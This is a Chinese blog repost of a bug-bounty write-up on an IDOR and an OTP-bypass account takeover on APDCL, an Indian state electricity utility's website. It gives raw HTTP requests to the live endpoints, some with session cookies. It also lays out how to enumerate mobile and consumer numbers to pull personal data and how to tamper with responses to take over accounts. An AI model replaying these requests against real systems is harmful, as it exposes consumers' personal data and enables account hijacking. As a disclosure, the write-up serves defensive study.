【网络安全】APDCL:IDOR + 账户接管

未经许可,不得转载。

正文

APDCL ,即印度阿萨姆邦电力分销公司(Assam Power Distribution Company Limited),是印度阿萨姆邦政府控制的公共部门企业,负责电力分配和供应服务,确保电力供应的稳定性和可靠性,以满足居民、工业和商业客户的电力需求。

漏洞1:IDOR

注册网站后,访问登录面板时,网站要求输入手机号码及手机号验证码进行登录。

img

在交互过程的所有请求包中,存在多个特殊请求包,第一个为:

/website/myBijulee/fetchConsumer接口通过mobile_no参数查询消费者号码(cons_no)。

POST /website/myBijulee/fetchConsumer?mobile_no=<mobile_number> HTTP/1.1
Host: www.apdcl.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Origin: https://www.apdcl.org
Content-Length: 0
Te: trailers
Connection: close

img

也就是说,通过遍历手机号即可获取手机号对应的消费者号码(cons_no)。

第二个特殊请求包为:

/cbs/RestAPI/myBijulee/ConsDetails接口通过cons_no参数获取用户信息。

POST /cbs/RestAPI/myBijulee/ConsDetails?cons_no=<consumer_number> HTTP/1.1
Host: www.apdclrms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/
Origin: https://www.apdcl.org
Connection: close

img

其中,信息包括:姓名、电子邮件地址、手机号码、地址、税号(印度的个人识别号码)、选民十分钟、身份证号码。

因此,我们可以通过遍历手机号获取消费者号码,再遍历获取到的消费者号码得到敏感数据;或者直接遍历cons_no参数,因为它是数字字符串。

漏洞2:账户接管

在登录流程中,涉及登录逻辑的请求包有两个。

第一个用于向消费者的手机号码发送验证码:

POST /website/api/generateOtp?mobNo=<mobile_number> HTTP/1.1
Host: www.apdcl.org
Cookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Origin: https://www.apdcl.org
Content-Length: 0
Connection: close

img

第二个请求包用于验证手机号验证码。

POST /website/api/postOtp HTTP/1.1
Host: www.apdcl.org
Cookie: ARMSSESSIONID=M2Y5MzY5YTItODFiOS00ZmQyLWIzMTAtOTNkMTdhOGNjZjlm; JSESSIONID=5F5BB3B3B8711282CD8BA7D5F2118886.server2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.apdcl.org/website/
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://www.apdcl.org
Connection: close

mobNo=<mobile_number>&otpNo=000000
  • 如果验证码正确,服务器将返回会话cookie并重定向到**/website/ConsumerDashboard**。

img

  • 如果验证码错误,服务器将以302响应并将用户重定向到**/website/?mobileNo=<mobile_number>**

img

可以看到,Cookie的设定形式为:mobile=*;Domain=www.apdcl.org;Path=/;Secure;

因此鉴权参数为手机号,那么输入任何一人的手机号,再输入任意手机号验证码,之后在拦截的返回包中修改返回包,即可接管其账户。

在这里插入图片描述

原文出处:https://infosecwriteups.com/idor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9
dor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9

相关推荐

  1. Linux账户安全

    2024-07-13 23:54:04       45 阅读
  2. 【严重】GitLab 账号接管漏洞

    2024-07-13 23:54:04       45 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-13 23:54:04       66 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-13 23:54:04       70 阅读
  3. 在Django里面运行非项目文件

    2024-07-13 23:54:04       57 阅读
  4. Python语言-面向对象

    2024-07-13 23:54:04       68 阅读

热门阅读

  1. 关于浏览器Devtools的open,close监听

    2024-07-13 23:54:04       13 阅读
  2. 实时流媒体传输开源库Live555

    2024-07-13 23:54:04       19 阅读
  3. SQL注入:原理及示例

    2024-07-13 23:54:04       19 阅读
  4. Qt/QML学习-动画元素

    2024-07-13 23:54:04       21 阅读
  5. 小程序自学教程

    2024-07-13 23:54:04       19 阅读
  6. C#的DllImport使用方法

    2024-07-13 23:54:04       18 阅读
  7. Elasticsearch-多边形范围查询(8.x)

    2024-07-13 23:54:04       20 阅读
  8. SpringBoot后端代码基本逻辑

    2024-07-13 23:54:04       18 阅读
  9. 响应式编程-数据劫持

    2024-07-13 23:54:04       20 阅读